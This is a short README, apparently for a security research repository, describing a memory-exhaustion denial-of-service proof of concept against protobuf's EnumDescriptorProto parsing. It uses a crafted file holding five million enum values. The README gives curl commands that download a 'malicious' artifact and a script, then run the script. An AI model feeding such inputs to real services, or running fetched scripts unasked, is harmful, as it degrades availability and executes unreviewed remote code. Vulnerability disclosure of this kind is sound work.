Protobuf Enumdescriptor Value Dos Poc

--- tags: - security - proof-of-concept - protobuf license: mit --- # Protocol Buffers EnumDescriptorProto value materialization DoS PoC This repository contains a benign security research PoC for a `.pb` artifact that drives repeated-message materialization during `descriptor_pb2.EnumDescriptorProto.ParseFromString(...)`. Files: - `control_zero_value.pb` - `malicious_value_5000000.pb` - `reproduce.py` Observed behavior: - control artifact: - parses successfully with zero `value` entries - malicious artifact: - parses successfully with `5,000,000` `value` entries - materially increases peak RSS during normal parse Tested runtime: ```bash python3 -m pip install protobuf==7.35.1 ``` Public reproduction: ```bash curl -L -O https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/control_zero_value.pb curl -L -O https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/malicious_value_5000000.pb curl -L -O https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/reproduce.py python3 reproduce.py --control control_zero_value.pb --malicious malicious_value_5000000.pb ``` Public files: - `https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/control_zero_value.pb` - `https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/malicious_value_5000000.pb` - `https://huggingface.co/hacnho/protobuf-enumdescriptor-value-dos-poc/resolve/main/reproduce.py`